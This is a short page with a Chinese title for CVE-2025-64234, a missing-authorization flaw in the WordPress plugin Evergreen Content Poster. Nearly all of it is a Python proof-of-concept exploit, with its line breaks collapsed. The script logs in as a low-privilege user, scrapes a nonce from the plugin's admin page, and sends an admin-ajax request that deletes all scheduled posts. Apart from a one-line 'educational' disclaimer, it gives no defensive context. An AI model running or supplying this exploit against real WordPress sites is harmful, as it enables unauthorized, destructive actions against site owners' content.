CVE-2025-64234 WordPress Evergreen Content Poster插件缺失授权漏洞

#!/usr/bin/env python3 """ CVE-2025-64234 PoC - Evergreen Content Poster Broken Access Control Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wp_nonce(url, cookie): """Extract WordPress nonce from the plugin admin page""" response = requests.get(f"{url}/wp-admin/admin.php?page=evergreen-content-poster", cookies=cookie) if response.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit(): """Exploit the missing authorization vulnerability""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } login_url = f"{TARGET_URL}/wp-login.php" response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Get nonce for the vulnerable endpoint nonce = get_wp_nonce(TARGET_URL, session.cookies) if not nonce: print("[-] Failed to obtain nonce") return False print(f"[+] Obtained nonce: {nonce}") # Step 3: Exploit the broken access control exploit_data = { 'action': 'ecp_admin_action', 'nonce': nonce, 'subaction': 'delete_all_scheduled_posts', 'confirm': 'yes' } exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent - check if admin-only action was executed") print(f"[*] Response: {response.text}") else: print("[-] Exploit failed") return True if __name__ == "__main__": print("CVE-2025-64234 PoC - Evergreen Content Poster Broken Access Control") exploit()